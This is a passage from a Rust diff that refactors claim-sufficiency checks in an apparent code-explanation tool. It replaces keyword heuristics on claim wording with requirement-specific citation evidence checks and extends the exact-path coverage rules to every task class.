!claim.citations.iter().any(citation_sufficiency_eligible) { return Some("citation evidence is diagnostic-only"); } - if generic_navigation && !carries_required_role { - return Some("generic navigation/source-evidence claim lacks required coverage role"); + if packet_claim_is_generic_navigation_or_source_evidence(claim) { + return Some("generic navigation/source-evidence claim does not explain the flow"); } None } @@ -1478,16 +1476,13 @@ fn packet_claim_is_generic_navigation_or_source_evidence(claim: &PacketClaimDto) || (lower.contains(" is defined in cited source ") && lower.contains("exact source anchor")) } +/// Every resolved in-project path the caller named must be carried by its own proof-bearing claim, +/// whatever the task class: a packet that answers around a requested path has not answered about it. fn packet_missing_exact_path_claims( project_root: &Path, - task_class: PacketTaskClassDto, exact_probe_paths: &[String], sufficiency_claims: &[PacketClaimDto], ) -> Vec { - if task_class != PacketTaskClassDto::ArchitectureExplanation { - return Vec::new(); - } - let exact_probe_paths = exact_probe_paths .iter() @@ -1600,8 +1595,7 @@ fn packet_role_label_is_generic_source_evidence(role: &str) -> bool { struct PacketCoverageReportInput<'a> { supported_claims: &'a [PacketClaimDto], - sufficiency_claims: &'a [PacketClaimDto], - flow_context: &'a PacketFlowContext, + proven_claims: &'a [PacketClaimDto], missing_required_flow_requirements: &'a [FlowRequirement], route_proof: &'a RouteProofAssessment, missing_exact_path_claims: &'a [String], @@ -1613,8 +1607,7 @@ struct PacketCoverageReportInput<'a> { fn packet_coverage_report(input: PacketCoverageReportInput<'_>) -> PacketCoverageReportDto { let PacketCoverageReportInput { supported_claims, - sufficiency_claims, - flow_context, + proven_claims, missing_required_flow_requirements, route_proof, missing_exact_path_claims, @@ -1622,7 +1615,7 @@ fn packet_coverage_report(input: PacketCoverageReportInput<'_>) -> PacketCoverag budget, has_sufficiency_blocking_budget_omission, } = input; - let covered = sufficiency_claims + let covered = proven_claims .iter() .filter_map(packet_claim_coverage_label) .collect::>() @@ -1631,17 +1624,8 @@ fn packet_coverage_report(input: PacketCoverageReportInput<'_>) -> PacketCoverag let ineligible = supported_claims .iter() .filter_map(|claim| { - let generic_navigation = packet_claim_is_generic_navigation_or_source_evidence(claim); - let carries_required_role = - flow_context.claim_carries_required_role(claim, !generic_navigation); - let structural_policy_admitted = - flow_context.claim_has_structural_policy_admission(claim); - packet_claim_ineligibility_reason( - claim, - carries_required_role, - structural_policy_admitted, - ) - .map(|reason| packet_ineligible_claim_report_entry(claim, reason)) + packet_claim_ineligibility_reason(claim) + .map(|reason| packet_ineligible_claim_report_entry(claim, reason)) }) .collect::>() .into_iter() @@ -1816,437 +1800,36 @@ fn packet_escape_coverage_report_value(value: &str) -> String { .replace(['\r', '\n'], " ") } +/// The structural coverage a question asks for, and whether a claim's own cited evidence proves +/// each requirement separately. struct PacketFlowContext { requirements: Vec, - required_roles: Vec, - site_build_flow: bool, - mapper_flow: bool, - shell_install_dispatch_flow: bool, - url_session_request_flow: bool, - form_validation_flow: bool, - server_request_dispatch_flow: bool, - html_css_template_structure_flow: bool, - stylesheet_animation_flow: bool, - sql_schema_flow: bool, - runtime_formatting_flow: bool, - string_predicate_flow: bool, - log_record_handler_flow: bool, } impl PacketFlowContext { fn new(question: &str, task_class: PacketTaskClassDto) -> Self { - let question_terms = packet_probe_terms(question); - let requirements = packet_flow_requirements_for_terms(&question_terms, task_class); Self { - requirements: requirements.clone(), - required_roles: packet_required_flow_roles(&requirements), - site_build_flow: packet_terms_indicate_site_build_phase_flow(&question_terms), - mapper_flow: packet_terms_indicate_mapper_configuration_plan_flow(&question_terms), - shell_install_dispatch_flow: packet_terms_indicate_shell_install_dispatch_flow( - &question_terms, - ), - url_session_request_flow: packet_terms_indicate_url_session_request_flow( - &question_terms, + requirements: packet_flow_requirements_for_terms( + &packet_probe_terms(question), + task_class, ), - form_validation_flow: packet_terms_indicate_form_validation_flow(&question_terms), - server_request_dispatch_flow: packet_terms_indicate_server_request_dispatch_flow( - &question_terms, - ), - html_css_template_structure_flow: - packet_terms_indicate_html_css_template_structure_flow(&question_terms), - stylesheet_animation_flow: packet_terms_indicate_stylesheet_animation_flow( - &question_terms, - ), - sql_schema_flow: packet_terms_indicate_sql_schema_flow(&question_terms), - runtime_formatting_flow: packet_terms_indicate_runtime_formatting_flow(&question_terms), - string_predicate_flow: packet_terms_indicate_string_predicate_flow(&question_terms), - log_record_handler_flow: packet_terms_indicate_log_record_handler_flow(&question_terms), - } - } - - fn claim_carries_required_role( - &self, - claim: &PacketClaimDto, - include_generic_fallback_roles: bool, - ) -> bool { - if self.required_roles.is_empty() { - return false; } - self.requirements.iter().any(|requirement| { - self.claim_satisfies_requirement(claim, requirement, include_generic_fallback_roles) - }) } + /// A requirement is covered only by a proof-bearing claim that cites evidence matching *that + /// requirement's* predicate. Matching on the shared `FlowRole` instead let one citation close + /// every requirement wearing the role, and let claim wording stand in for evidence. fn claim_satisfies_requirement( &self, claim: &PacketClaimDto, requirement: &FlowRequirement, - include_generic_fallback_roles: bool, ) -> bool { - if flow_requirement_is_log_record_handler(requirement) - && packet_claim_is_generic_navigation_or_source_evidence(claim) - { - return false; - } - let structural_match = - StructuralLanguagePolicy::claim_satisfies_requirement(requirement, claim); - if structural_match || StructuralLanguagePolicy::requires_cited_role(requirement) { - return structural_match; - } - if StructuralLanguagePolicy::requires_specific_proof(requirement) { - return self.claim_declares_exact_requirement_id(claim, requirement); - } - if self.claim_declares_requirement_role(claim, requirement) { - return true; - } - let claim_roles = packet_flow_roles_for_claim( - claim, - self.site_build_flow, - self.mapper_flow, - self.shell_install_dispatch_flow, - self.url_session_request_flow, - self.form_validation_flow, - self.server_request_dispatch_flow, - self.html_css_template_structure_flow, - self.stylesheet_animation_flow, - self.sql_schema_flow, - self.runtime_formatting_flow, - self.string_predicate_flow, - self.log_record_handler_flow, - include_generic_fallback_roles, - ); - claim_roles.contains(&requirement.role) - } - - fn claim_has_structural_policy_admission(&self, claim: &PacketClaimDto) -> bool { - self.requirements.iter().any(|requirement| { - StructuralLanguagePolicy::admits_diagnostic_evidence(requirement, claim) - }) - } - - fn claim_declares_requirement_role( - &self, - claim: &PacketClaimDto, - requirement: &FlowRequirement, - ) -> bool { - let Some(role_label) = claim.coverage_role.as_deref() else { - return false; - }; - let normalized = normalize_identifier(role_label); - normalized == normalize_identifier(requirement.role_id()) - || normalized == normalize_identifier(requirement.role.label()) - } - - fn claim_declares_exact_requirement_id( - &self, - claim: &PacketClaimDto, - requirement: &FlowRequirement, - ) -> bool { - claim.coverage_role.as_deref().is_some_and(|role_label| { - normalize_identifier(role_label) == normalize_identifier(requirement.id) - }) - } -} - -struct StructuralLanguagePolicy; - -impl StructuralLanguagePolicy { - fn requires_cited_role(requirement: &FlowRequirement) -> bool { - requirement.id == "request_interceptor_management" - } - - fn requires_specific_proof(requirement: &FlowRequirement) -> bool { - matches!( - requirement.id, - "sql_tables" - | "sql_relationships" - | "form_native_constraints" - | "form_custom_validation" - | "form_submit_guard" - | "client_public_facade" - | "client_interface_helpers" - | "client_request_finalization" - | "client_transport_send" - | "client_response_materialization" - | "hook_public_export" - | "hook_key_serialization" - | "hook_cache_helper" - | "hook_mutation_flow" - | "command_server_bootstrap" - | "command_event_loop" - | "command_network_input" - | "command_dispatch" - | "logger_event" - | "handler_processing" - | "css_animation_entrypoint" - | "css_animation_structure" - ) - } - - fn claim_satisfies_requirement(requirement: &FlowRequirement, claim: &PacketClaimDto) -> bool { - let normalized = normalize_identifier(&claim.claim); - match requirement.id { - "request_interceptor_management" => { - normalize_identifier(claim.coverage_role.as_deref().unwrap_or_default()) - == "interceptormanagement" - && claim - .citations - .iter() - .any(packet_citation_owns_interceptor_management) - } - "sql_tables" => claim.citations.iter().any(Self::citation_is_sql_table), - "sql_relationships" => claim + packet_claim_can_satisfy_sufficiency(claim) + && claim .citations .iter() - .any(Self::citation_is_sql_relationship), - "form_native_constraints" => Self::claim_text_names_native_constraints(&normalized), - "form_custom_validation" => Self::claim_text_names_custom_validation(&normalized), - "form_submit_guard" => Self::claim_text_names_submit_guard(&normalized), - "client_public_facade" => Self::claim_text_names_client_public_facade(&normalized), - "client_interface_helpers" => { - Self::claim_text_names_client_interface_helpers(&normalized) - } - "client_request_finalization" => { - Self::claim_text_names_client_request_finalization(&normalized) - } - "client_transport_send" => Self::claim_text_names_client_transport_send(&normalized), - "client_response_materialization" => { - Self::claim_text_names_client_response_materialization(&normalized) - } - "hook_public_export" => Self::claim_text_names_hook_public_export(&normalized), - "hook_key_serialization" => Self::claim_text_names_hook_key_serialization(&normalized), - "hook_cache_helper" => Self::claim_text_names_hook_cache_helper(&normalized), - "hook_mutation_flow" => Self::claim_text_names_hook_mutation_flow(&normalized), - "command_server_bootstrap" => { - Self::claim_text_names_command_server_bootstrap(&normalized) - || claim.citations.iter().any(|citation| { - packet_evidence_role(citation) - == Some(PacketEvidenceRole::CommandEntrypoint) - }) - } - "command_event_loop" => { - Self::claim_text_names_command_event_loop(&normalized) - || claim.citations.iter().any(|citation| { - packet_evidence_role(citation) == Some(PacketEvidenceRole::EventLoop) - }) - } - "command_network_input" => { - Self::claim_text_names_command_network_input(&normalized) - || claim.citations.iter().any(|citation| { - packet_evidence_role(citation) - == Some(PacketEvidenceRole::NetworkCommandInput) - }) - } - "command_dispatch" => { - Self::claim_text_names_command_dispatch(&normalized) - || claim.citations.iter().any(|citation| { - packet_evidence_role(citation) == Some(PacketEvidenceRole::CommandDispatch) - }) - } - "logger_event" => Self::claim_text_names_log_record_creation(&normalized), - "handler_processing" => Self::claim_text_names_log_handler_processing(&normalized), - "css_animation_entrypoint" => { - normalized.contains("animationstylesheetentrypoint") - || (normalized.contains("imports") && normalized.contains("animationfiles")) - } - "css_animation_structure" => { - normalized.contains("baseclass") - || normalized.contains("animationname") - || normalized.contains("matchingkeyframes") - || normalized.contains("customproperties") - || normalized.contains("duration") - || normalized.contains("delay") - || normalized.contains("repeat") - || normalized.contains("keyframes") - } - _ => false, - } - } - - fn admits_diagnostic_evidence(requirement: &FlowRequirement, claim: &PacketClaimDto) -> bool { - matches!(requirement.id, "sql_tables" | "sql_relationships") - && claim.citations.iter().any(|citation| { - Self::citation_is_sql_source_scan(citation) - && match requirement.id { - "sql_tables" => Self::citation_is_sql_table(citation), - "sql_relationships" => Self::citation_is_sql_relationship(citation), - _ => false, - } - }) - } - - fn citation_is_sql_source_scan(citation: &AgentCitationDto) -> bool { - citation.evidence_tier == Some(PacketEvidenceTierDto::SyntheticSourceScan) - && citation.resolution_status == Some(PacketEvidenceResolutionDto::SourceRangeOnly) - } - - fn citation_is_sql_table(citation: &AgentCitationDto) -> bool { - packet_evidence_role(citation) == Some(PacketEvidenceRole::SqlTableDefinition) - } - - fn citation_is_sql_relationship(citation: &AgentCitationDto) -> bool { - packet_evidence_role(citation) == Some(PacketEvidenceRole::SqlRelationshipConstraint) - } - - fn claim_text_names_native_constraints(normalized: &str) -> bool { - (normalized.contains("native") - || normalized.contains("constraint") - || normalized.contains("constraints") - || normalized.contains("formvalidationexamples")) - && contains_any(normalized, &["required", "pattern", "min", "max"]) - } - - fn claim_text_names_custom_validation(normalized: &str) -> bool { - normalized.contains("custom") - && contains_any( - normalized, - &[ - "validation", - "validity", - "validitystate", - "error", - "errors", - "message", - "messages", - "browser", - "defaultui", - "ui", - ], - ) - } - - fn claim_text_names_submit_guard(normalized: &str) -> bool { - normalized.contains("submit") - && contains_any( - normalized, - &["prevent", "prevents", "submission", "invalid"], - ) - } - - fn claim_text_names_client_public_facade(normalized: &str) -> bool { - (normalized.contains("toplevelhttphelper") - || normalized.contains("toplevelhttphelpers") - || normalized.contains("publicfacade")) - && normalized.contains("client") - } - - fn claim_text_names_client_interface_helpers(normalized: &str) -> bool { - normalized.contains("conveniencemethod") - || normalized.contains("conveniencemethods") - || normalized.contains("clientinterfacehelper") - } - - fn claim_text_names_client_request_finalization(normalized: &str) -> bool { - normalized.contains("finalize") - && normalized.contains("request") - && contains_any( - normalized, - &["body", "sending", "transportready", "prepare"], - ) - } - - fn claim_text_names_client_transport_send(normalized: &str) -> bool { - normalized.contains("send") - && contains_any( - normalized, - &["transport", "httpclient", "adapter", "dartio"], - ) - } - - fn claim_text_names_client_response_materialization(normalized: &str) -> bool { - normalized.contains("responsefromstream") - || normalized.contains("responsematerialization") - || normalized.contains("responsestream") - || (normalized.contains("response") && normalized.contains("streamboundary")) - } - - fn claim_text_names_hook_public_export(normalized: &str) -> bool { - normalized.contains("public") - && normalized.contains("export") - && normalized.contains("wraps") - && contains_any(normalized, &["hook", "argumentnormalization", "handler"]) - } - - fn claim_text_names_hook_key_serialization(normalized: &str) -> bool { - normalized.contains("serialize") - && contains_any(normalized, &["key", "keys", "cachekey", "cachekeys"]) - } - - fn claim_text_names_hook_cache_helper(normalized: &str) -> bool { - normalized.contains("cache") - && normalized.contains("helper") - && contains_any( - normalized, - &["get", "set", "subscribe", "snapshot", "state"], - ) - } - - fn claim_text_names_hook_mutation_flow(normalized: &str) -> bool { - contains_any(normalized, &["mutate", "mutation", "internalmutate"]) - && contains_any(normalized, &["helper", "routes", "flows", "dispatch"]) - } - - fn claim_text_names_command_server_bootstrap(normalized: &str) -> bool { - normalized.contains("server") - && contains_any(normalized, &["bootstrap", "initializes", "main"]) - } - - fn claim_text_names_command_event_loop(normalized: &str) -> bool { - normalized.contains("eventloop") - || (normalized.contains("event") && normalized.contains("loop")) - } - - fn claim_text_names_command_network_input(normalized: &str) -> bool { - normalized.contains("socketinput") - || normalized.contains("networkcommandinput") - || (normalized.contains("network") - && normalized.contains("input") - && normalized.contains("command")) - } - - fn claim_text_names_command_dispatch(normalized: &str) -> bool { - normalized.contains("commandtable") - || normalized.contains("commanddispatch") - || (normalized.contains("command") - && contains_any(normalized, &["dispatch", "proc", "slowlog"])) - } - - fn claim_text_names_log_record_creation(normalized: &str) -> bool { - normalized.contains("addrecord") - || normalized.contains("recordcreation") - || (normalized.contains("log") - && normalized.contains("record") - && contains_any(normalized, &["create", "creates", "created", "creation"])) - || (normalized.contains("record") - && contains_any(normalized, &["create", "creates", "created", "creation"]) - && normalized.contains("handler")) - } - - fn claim_text_names_log_handler_processing(normalized: &str) -> bool { - normalized.contains("handler") - && normalized.contains("record") - && ((contains_any(normalized, &["process", "processing", "processed"]) - && contains_any( - normalized, - &[ - "handle", "handles", "handling", "write", "writes", "writing", - ], - )) - || (normalized.contains("batch") - && normalized.contains("boundar") - && contains_any( - normalized, - &[ - "execute", - "executes", - "execution", - "handle", - "handles", - "processing", - "write", - "writing", - ], - ))) + .filter(|citation| citation_sufficiency_eligible(citation)) + .any(|citation| requirement.evidence.citation_proves(citation)) } } @@ -2260,10 +1843,6 @@ fn packet_missing_required_flow_roles( packet_missing_requirement_roles(&missing) } -fn flow_requirement_is_log_record_handler(requirement: &FlowRequirement) -> bool { - matches!(requirement.id, "logger_event" | "handler_processing") -} - fn packet_missing_required_flow_requirements( question: &str, task_class: PacketTaskClassDto, @@ -2278,7 +1857,7 @@ fn packet_missing_required_flow_requirements( .filter(|requirement| { !supported_claims .iter() - .any(|claim| flow_context.claim_satisfies_requirement(claim, requirement, true)) + .any(|claim| flow_context.claim_satisfies_requirement(claim, requirement)) }) .collect() } @@ -2301,22 +1880,6 @@ fn flow_requirement_missing_label(requirement: &FlowRequirement) -> String { format!("{} ({})", requirement.id, requirement.role.label()) } -fn packet_required_flow_roles(requirements: &[FlowRequirement]) -> Vec { - let mut required = Vec::new(); - for requirement in requirements - .iter() - .filter(|requirement| flow_requirement_blocks_sufficiency(requirement)) - { - if !required - .iter() - .any(|role: &FlowRole| role.role_id() == requirement.role_id()) - { - required.push(requirement.role); - } - } - required -} - fn flow_requirement_blocks_sufficiency(requirement: &FlowRequirement) -> bool { !matches!(requirement.coverage_mode, CoverageMode::DiagnosticOnly) } @@ -2359,587 +1922,62 @@ fn packet_blocking_unresolved_sidecar_queries( missing_required_probe_queries: &[String], blocking_missing_probe_queries: &[String], missing_required_flow_requirements: &[FlowRequirement], -) -> Vec { - if unresolved_sidecar_queries.is_empty() - || (missing_required_probe_queries.is_empty() - && missing_required_flow_requirements.is_empty()) - { - return Vec::new(); - } - - let missing_requirement_ids = missing_required_flow_requirements - .iter() - .map(|requirement| requirement.id) - .collect::>(); - let question_terms = packet_probe_terms(question); - let blocking_query_seeds = packet_flow_requirements_for_terms(&question_terms, task_class) - .into_iter() - .filter(|requirement| { - flow_requirement_blocks_sufficiency(requirement) - && missing_requirement_ids.contains(requirement.id) - }) - .flat_map(|requirement| requirement.query_seeds.iter().copied()) - .collect::>(); - let blocking_probe_queries = blocking_missing_probe_queries - .iter() - .map(String::as_str) - .collect::>(); - let missing_probe_queries = missing_required_probe_queries - .iter() - .map(String::as_str) - .collect::>(); - - unresolved_sidecar_queries - .iter() - .filter(|query| { - blocking_query_seeds.contains(query.as_str()) - || blocking_probe_queries.contains(query.as_str()) - || missing_probe_queries.contains(query.as_str()) - }) - .cloned() - .collect() -} - -fn packet_blocking_follow_up_probe_queries( - blocking_missing_probe_queries: &[String], - blocking_unresolved_sidecar_queries: &[String], -) -> Vec { - let mut queries = Vec::new(); - let mut seen = HashSet::new(); - for query in blocking_missing_probe_queries - .iter() - .chain(blocking_unresolved_sidecar_queries) - { - if seen.insert(query.as_str()) { - queries.push(query.clone()); - } - } - queries -} - -#[allow(clippy::too_many_arguments)] -fn packet_flow_roles_for_claim( - claim: &PacketClaimDto, - site_build_flow: bool, - mapper_flow: bool, - shell_install_dispatch_flow: bool, - url_session_request_flow: bool, - form_validation_flow: bool, - server_request_dispatch_flow: bool, - html_css_template_structure_flow: bool, - stylesheet_animation_flow: bool, - sql_schema_flow: bool, - runtime_formatting_flow: bool, - string_predicate_flow: bool, - log_record_handler_flow: bool, - include_generic_fallback_roles: bool, -) -> HashSet { - let mut roles = HashSet::new(); - let lower = claim.claim.to_ascii_lowercase(); - let normalized = normalize_identifier(&claim.claim); - - if site_build_flow { - if normalized.contains("buildprocess") - && contains_any(&normalized, &["constructs", "processes"]) - && normalized.contains("site") - { - roles.insert(FlowRole::Entrypoint); - } - if normalized.contains("siteprocess") - && contains_any(&normalized, &["read", "generate", "render", "write"]) - { - roles.insert(FlowRole::Dispatch); - } - if (normalized.contains("reader") && normalized.contains("read")) - || (normalized.contains("renderer") && normalized.contains("render")) - || (normalized.contains("sitewrite") || normalized.contains("writephases")) - { - roles.insert(FlowRole::TerminalBoundary); - } - } - - if mapper_flow { - if (normalized.contains("mapper") || normalized.contains("objectmapping")) - && normalized.contains("entrypoint") - { - roles.insert(FlowRole::Entrypoint); - } - if normalized.contains("mappingconfiguration") - && (normalized.contains("configuration") - || normalized.contains("runtime") - || normalized.contains("plans")) - { - roles.insert(FlowRole::Configuration); - } - if (normalized.contains("typemap") && normalized.contains("plan")) - || normalized.contains("typemapsource") - || normalized.contains("mappingplanbuilder") - || normalized.contains("planbuilder") - || normalized.contains("executionpipeline") - { - roles.insert(FlowRole::Dispatch); - } - if normalized.contains("expressionplans") || normalized.contains("mappingconfiguration") { - roles.insert(FlowRole::Configuration); - } - } - - if shell_install_dispatch_flow { - if normalized.contains("installsh") - && (normalized.contains("bootstrap") || normalized.contains("sourced")) - { - roles.insert(FlowRole::Entrypoint); - } - if normalized.contains("dispatcher") - || normalized.contains("dispatch") - || normalized.contains("installhelper") - || normalized.contains("downloadhelper") - || normalized.contains("downloadassets") - { - roles.insert(FlowRole::Dispatch); - } - if normalized.contains("bashcompletion") - || normalized.contains("completion") - || normalized.contains("currentversion") - || normalized.contains("alreadyactive") - || normalized.contains("configurednodeversion") - { - roles.insert(FlowRole::TerminalBoundary); - } - } - - if url_session_request_flow { - if normalized.contains("sessionrequest") - && (normalized.contains("creates") || normalized.contains("requestobjects")) - { - roles.insert(FlowRole::Entrypoint); - } - if normalized.contains("requestresume") - || normalized.contains("resumes") - || normalized.contains("urlsessiontask") - || normalized.contains("eagerexecution") - { - roles.insert(FlowRole::Dispatch); - } - if normalized.contains("validation") - || normalized.contains("requestvalidation") - || (normalized.contains("request") && normalized.contains("validate")) - || normalized.contains("delegatecallback") - || normalized.contains("delegatecallbacks") - || normalized.contains("callback") - || normalized.contains("callbacks") - { - roles.insert(FlowRole::Dispatch); - } - if normalized.contains("delegatecallback") - || normalized.contains("delegatecallbacks") - || normalized.contains("urlsessioncallback") - || normalized.contains("urlsessioncallbacks") - || (normalized.contains("delegate") && normalized.contains("callback")) - { - roles.insert(FlowRole::Dispatch); - } - } - - if form_validation_flow { - if (normalized.contains("native") - || normalized.contains("constraint") - || normalized.contains("constraints") - || normalized.contains("formvalidationexamples")) - && contains_any(&normalized, &["required", "pattern", "min", "max"]) - { - roles.insert(FlowRole::TransformOrValidate); - } - if normalized.contains("custom") - && normalized.contains("validation") - && contains_any(&normalized, &["browser", "defaultui", "ui"]) - { - roles.insert(FlowRole::TransformOrValidate); - } - if normalized.contains("submit") - && contains_any( - &normalized, - &["prevent", "prevents", "submission", "invalid"], - ) - { - roles.insert(FlowRole::TerminalBoundary); - } - if normalized.contains("validitystate") - || (normalized.contains("validity") - && contains_any( - &normalized, - &[ - "valid", - "valuemissing", - "typemismatch", - "tooshort", - "message", - "messages", - ], - )) - { - roles.insert(FlowRole::TransformOrValidate); - } - } - - if server_request_dispatch_flow { - if contains_all(&normalized, &["wsgi", "app"]) && normalized.contains("entrypoint") { - roles.insert(FlowRole::Registration); - } - if contains_all(&normalized, &["full", "dispatch", "request"]) - && contains_any(&normalized, &["finalization", "finalize"]) - && contains_any(&normalized, &["preprocess", "exception", "wrap"]) - { - roles.insert(FlowRole::Dispatch); - roles.insert(FlowRole::TerminalBoundary); - } - if contains_all(&normalized, &["dispatch", "request", "view", "function"]) - && !normalized.contains("full") - { - roles.insert(FlowRole::Dispatch); - } - if (normalized.contains("routedecorator") && normalized.contains("registersviewfunctions")) - || (normalized.contains("routeregistrationdecorator") - && normalized.contains("urlrules")) - { - roles.insert(FlowRole::Registration); - } - } - - if html_css_template_structure_flow { - if normalized.contains("appshell") - && (normalized.contains("divapp") || normalized.contains("modulescript")) - { - roles.insert(FlowRole::Entrypoint); - } - if normalized.contains("roottypography") - || normalized.contains("colorscheme") - || normalized.contains("bodylayout") - { - roles.insert(FlowRole::Configuration); - } - if normalized.contains("appconstrains") - || (normalized.contains("mountedapplication") && normalized.contains("padding")) - { - roles.insert(FlowRole::Configuration); - } - if normalized.contains("logo") - && normalized.contains("button") - && contains_any(&normalized, &["hover", "focus", "transition"]) - { - roles.insert(FlowRole::Configuration); - } - if normalized.contains("preferscolorschemelight") || normalized.contains("mediaquery") { - roles.insert(FlowRole::Configuration); - } - } - - if stylesheet_animation_flow { - if normalized.contains("animationstylesheetentrypoint") - || (normalized.contains("imports") && normalized.contains("animationfiles")) - || normalized.contains("baseclass") - { - roles.insert(FlowRole::Entrypoint); - } - if normalized.contains("imports") - || normalized.contains("animationname") - || normalized.contains("matchingkeyframes") - { - roles.insert(FlowRole::Configuration); - } - if normalized.contains("customproperties") - || normalized.contains("duration") - || normalized.contains("delay") - || normalized.contains("repeat") - || normalized.contains("keyframes") - { - roles.insert(FlowRole::Configuration); - } - } - - if sql_schema_flow { - if normalized.contains("sqlschema") - && (normalized.contains("definestables") - || normalized.contains("tables") - || normalized.contains("createtable")) - { - roles.insert(FlowRole::StateOrStorage); - } - if normalized.contains("rowsreference") - || normalized.contains("foreignkey") - || (normalized.contains("reference") && normalized.contains("rows")) - { - roles.insert(FlowRole::Configuration); - } - if normalized.contains("sqldialect") - || normalized.contains("schemascripts") - || normalized.contains("dialectscripts") - { - roles.insert(FlowRole::StateOrStorage); - } - } - - if runtime_formatting_flow { - if (normalized.contains("typeerased") - && (normalized.contains("formatargs") - || normalized.contains("formatarguments") - || normalized.contains("formattingarguments") - || normalized.contains("arguments"))) - || (normalized.contains("runtimeformatting") - && normalized.contains("centralruntimeargumentpath")) - { - roles.insert(FlowRole::TransformOrValidate); - } - if (normalized.contains("formatto") - || normalized.contains("outputiterator") - || normalized.contains("formattedoutputhelpers")) - && (normalized.contains("outputiterator") - || normalized.contains("formattedoutput") - || normalized.contains("output")) - { - roles.insert(FlowRole::TerminalBoundary); - } - if normalized.contains("buffer") && normalized.contains("append") { - roles.insert(FlowRole::StateOrStorage); - } - if normalized.contains("formaterror") - || normalized.contains("formattingfailures") - || normalized.contains("systemerrors") - { - roles.insert(FlowRole::ErrorOrFallback); - } - } - - if string_predicate_flow { - if (normalized.contains("string") && normalized.contains("utils")) - || normalized.contains("strings") - || (normalized.contains("charsequence") && normalized.contains("utils")) - { - roles.insert(FlowRole::Entrypoint); - } - if normalized.contains("delegates") || normalized.contains("regionmatches") { - roles.insert(FlowRole::Dispatch); - } - if contains_any( - &normalized, - &[ - "null", - "empty", - "blank", - "whitespace", - "trim", - "case", - "ignorecase", - "casesensitive", - ], - ) { - roles.insert(FlowRole::StateOrStorage); - } - } - - if log_record_handler_flow { - if normalized.contains("addrecord") - || normalized.contains("logmethod") - || normalized.contains("recordcreation") - || (normalized.contains("log") - && normalized.contains("record") - && normalized.contains("creates")) - { - roles.insert(FlowRole::Entrypoint); - } - if normalized.contains("handlerstack") - || normalized.contains("handlerregistration") - || normalized.contains("pushhandler") - || (normalized.contains("handler") - && normalized.contains("interface") - && contains_any( - &normalized, - &["handlebatch", "handlingboundaries", "contract"], - )) - || (normalized.contains("processing") - && normalized.contains("handler") - && contains_any(&normalized, &["processing", "writing", "write"])) - { - roles.insert(FlowRole::Dispatch); - } - } - - if include_generic_fallback_roles { - if contains_any( - &normalized, - &[ - "entrypoint", - "toplevel", - "public", - "command", - "route", - "router", - "registration", - "register", - "helper", - "helpers", - "wrapper", - "wrappers", - "clientfactory", - "factory", - "api", - "apis", - ], - ) { - insert_generic_entrypoint_roles(&mut roles); - } - if contains_any( - &normalized, - &[ - "delegate", - "delegates", - "handoff", - "dispatch", - "calls", - "calling", - "send", - "routes", - "handler", - "executes", - "coordinates", - "maps", - "wrap", - "wraps", - "wrapper", - "wrappers", - "read", - "reads", - "write", - "writes", - "execution", - "pipeline", - "plan", - "plans", - "lambda", - "mapping", - ], - ) { - insert_generic_dispatch_roles(&mut roles); - } - if contains_any( - &normalized, - &[ - "boundary", - "transport", - "persist", - "project", - "store", - "cache", - "state", - "prepare", - "response", - "serialize", - "extract", - "refresh", - "output", - "schema", - "buffer", - "bytes", - "byte", - "record", - "records", - "format", - "formatted", - "write", - "writes", - "writing", - "source", - "sink", - "upstream", - "configuration", - "plan", - "plans", - "lambda", - "expression", - "destination", - ], - ) || lower.contains("side effect") - { - insert_generic_boundary_roles(&mut roles); - } - - for citation in &claim.citations { - match packet_evidence_role(citation) { - Some(PacketEvidenceRole::CommandEntrypoint) - | Some(PacketEvidenceRole::ClientFactory) - | Some(PacketEvidenceRole::SearchDriver) - | Some(PacketEvidenceRole::RouteHandling) - | Some(PacketEvidenceRole::CollectionConfiguration) - | Some(PacketEvidenceRole::AppServerRequestProtocol) => { - insert_generic_entrypoint_roles(&mut roles); - } - Some(PacketEvidenceRole::RequestDispatch) - | Some(PacketEvidenceRole::CommandDispatch) - | Some(PacketEvidenceRole::TransportAdapter) - | Some(PacketEvidenceRole::SearchExecutionUnit) - | Some(PacketEvidenceRole::RuntimeOrchestration) - | Some(PacketEvidenceRole::EventLoop) - | Some(PacketEvidenceRole::NetworkCommandInput) - | Some(PacketEvidenceRole::IndexingWorkQueue) - | Some(PacketEvidenceRole::BufferedIo) - | Some(PacketEvidenceRole::InterceptorManagement) => { - insert_generic_dispatch_roles(&mut roles); - } - _ => {} - } - - match packet_evidence_role(citation) { - Some(PacketEvidenceRole::TransportAdapter) - | Some(PacketEvidenceRole::PersistenceAndSearchProjection) - | Some(PacketEvidenceRole::SnapshotRefresh) - | Some(PacketEvidenceRole::EventOutputProcessing) - | Some(PacketEvidenceRole::SymbolExtraction) - | Some(PacketEvidenceRole::SourceGroupConfiguration) - | Some(PacketEvidenceRole::WorkspaceDiscoveryAndPlanning) - | Some(PacketEvidenceRole::CollectionConfiguration) - | Some(PacketEvidenceRole::BufferedIo) - | Some(PacketEvidenceRole::SqlTableDefinition) - | Some(PacketEvidenceRole::SqlRelationshipConstraint) - | Some(PacketEvidenceRole::SqlSchemaFile) - | Some(PacketEvidenceRole::CandidateFileConstruction) => { - insert_generic_boundary_roles(&mut roles); - } - _ => {} - } - - if sql_schema_flow { - match packet_evidence_role(citation) { - Some(PacketEvidenceRole::SqlTableDefinition) => { - roles.insert(FlowRole::StateOrStorage); - } - Some(PacketEvidenceRole::SqlRelationshipConstraint) => { - roles.insert(FlowRole::Configuration); - } - Some(PacketEvidenceRole::SqlSchemaFile) => { - roles.insert(FlowRole::StateOrStorage); - } - _ => {} - } - } - } +) -> Vec { + if unresolved_sidecar_queries.is_empty() + || (missing_required_probe_queries.is_empty() + && missing_required_flow_requirements.is_empty()) + { + return Vec::new(); } - roles -} - -fn insert_generic_entrypoint_roles(roles: &mut HashSet) { - roles.insert(FlowRole::Entrypoint); - roles.insert(FlowRole::Registration); -} + let missing_requirement_ids = missing_required_flow_requirements + .iter() + .map(|requirement| requirement.id) + .collect::>(); + let question_terms = packet_probe_terms(question); + let blocking_query_seeds = packet_flow_requirements_for_terms(&question_terms, task_class) + .into_iter() + .filter(|requirement| { + flow_requirement_blocks_sufficiency(requirement) + && missing_requirement_ids.contains(requirement.id) + }) + .flat_map(|requirement| requirement.query_seeds.iter().copied()) + .collect::>(); + let blocking_probe_queries = blocking_missing_probe_queries + .iter() + .map(String::as_str) + .collect::>(); + let missing_probe_queries = missing_required_probe_queries + .iter() + .map(String::as_str) + .collect::>(); -fn insert_generic_dispatch_roles(roles: &mut HashSet) { - roles.insert(FlowRole::Dispatch); + unresolved_sidecar_queries + .iter() + .filter(|query| { + blocking_query_seeds.contains(query.as_str()) + 